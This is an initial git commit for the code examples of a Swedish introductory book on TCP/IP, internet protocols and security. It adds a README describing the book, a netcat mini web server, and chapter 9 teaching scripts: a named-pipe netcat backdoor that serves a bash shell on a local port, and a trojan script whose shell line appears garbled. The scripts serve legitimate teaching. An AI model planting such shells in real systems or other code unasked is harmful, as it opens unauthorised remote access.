commit f1f0b29fb6e8fb1453092f3abd4e9e1cb3b0e42e Author: Jack-Benny Persson Date: Wed Apr 12 00:25:33 2023 +0200 Inital commit diff --git a/README.md b/README.md new file mode 100644 index 0000000..f24203e --- /dev/null +++ b/README.md @@ -0,0 +1,49 @@ +# Demonerna på internet +**Demonerna på internet : en introduktion till TCP/IP-protokoll, internet och säkerhet** +är en utforskande bok om internet. Boken är skriven för att vara lättläst och +innehåller inte särskilt mycket kod, men de få kodexempel som finns i boken +hittar du här. + +**ISBN: 978-91-983300-8-3** + +Du hittar boken hos [CyberInfo Sverige](https://www.cyberinfo.se/bocker/) och +[Bokus](https://www.bokus.com/bok/9789198330083/demonerna-pa-internet-en-introduktion-till-tcp-ip-protokoll-internet-och-sakerhet/). + +Är du nyfiken på boken så titta gärna igenom +[innehållsförteckningen](https://www.cyberinfo.se/dokument/demonerna-pa-internet_innehallsforteckning.html). + +## Baksidetexten +Internet är fullt av demoner som vi kan leka med. Mejldemoner, webbdemoner, +namndemoner och många andra typer av demoner. I Demonerna på internet lär vi +oss vad dessa demoner är för något och hur vi kan prata med dem med hjälp av +vanliga textkommandon. Det gör att vi får en djupare förståelse för hur +internet fungerar och hur allt hänger samman. + +När vi utforskar demonerna upptäcker vi också några intressanta saker om +internet. Bland annat att många av de protokoll och demoner vi använder idag +är riktigt gamla. Vi lär oss också att Unixsystem i olika former har spelat en +viktig roll för internets utveckling och gör så fortfarande. + +Laborationerna i boken utförs därför på Unix- eller Linuxsystem. Men även om +man använder ett annat operativsystem på sin dator kan man genomföra bokens +laborationer. I början går vi igenom hur man kan installera Linux inuti +Windows med hjälp av WSL. De som använder macOS har redan ett komplett +Unixsystem och kan börja laborera direkt. + +I boken utforskar vi också ämnen som säkerhet och hacking. Vi gör en egen +trojan som startar en bakdörr på datorn. Vi avlyssnar nätverkstrafik med +tcpdump och förfalskar mejl genom att prata direkt med mejlservrar på +internet. + +Vi lär oss hur HTTP-protokollet fungerar, hur man kan göra manuella +förfrågningar och modifiera de headers som skickas med i HTTP-anropen. Vi +testar också att göra en egen liten webbdemon, eller webbserver, som visar en +enkel hemsida. + +Boken är en kort introduktion till TCP/IP och några av de vanligaste +protokollen, så som HTTP, SMTP, POP3, NTP och DNS. Den är skriven för att vara +lättläst, och man behöver inte genomföra bokens alla laborationer om man inte +vill – den går lika bra att läsa i sängen eller i soffan. + +## Framsidan +![Demonerna på internet](/omslaget-demonerna-pa-internet-github.png) diff --git a/kapitel6/data.txt b/kapitel6/data.txt new file mode 100644 index 0000000..8535f13 --- /dev/null +++ b/kapitel6/data.txt @@ -0,0 +1,18 @@ +HTTP/1.1 200 OK +Content-Type: text/html; charset=UTF-8 +Content-Length: 298 +Server: netcat + + + + + + Min egen HTTP-demon + + +

En liten och enkel HTTP-demon

+

Webben är inte mycket mer än detta. En demon
+ som lyssnar på en port och skickar några textsträngar.

+ + + diff --git a/kapitel6/mini-httpd.sh b/kapitel6/mini-httpd.sh new file mode 100644 index 0000000..e75bf79 --- /dev/null +++ b/kapitel6/mini-httpd.sh @@ -0,0 +1,5 @@ +#!/bin/bash +while true; do + cat data.txt | nc -w1 127.0.0.1 -l 8999; +done + diff --git a/kapitel9/backdoor.sh b/kapitel9/backdoor.sh new file mode 100644 index 0000000..4f85eab --- /dev/null +++ b/kapitel9/backdoor.sh @@ -0,0 +1,5 @@ +#!/bin/bash +mkfifo /tmp/f +cat /tmp/f | /bin/bash 2>&1 | nc localhost -l 7777 > /tmp/f \ + && rm /tmp/f + diff --git a/kapitel9/trojan.sh b/kapitel9/trojan.sh new file mode 100644 index 0000000..145e1ec --- /dev/null +++ b/kapitel9/trojan.sh @@ -0,0 +1,4 @@ +#!/bin/bash +mkfifo /tmp/f +/bin/bash 0/tmp/f && rm /tmp/f + diff --git a/omslaget-demonerna-pa-internet-github.png b/omslaget-demonerna-pa-internet-github.png new file mode 100755 index 0000000..c6ccc0f Binary files /dev/null and b/omslaget-demonerna-pa-internet-github.png differ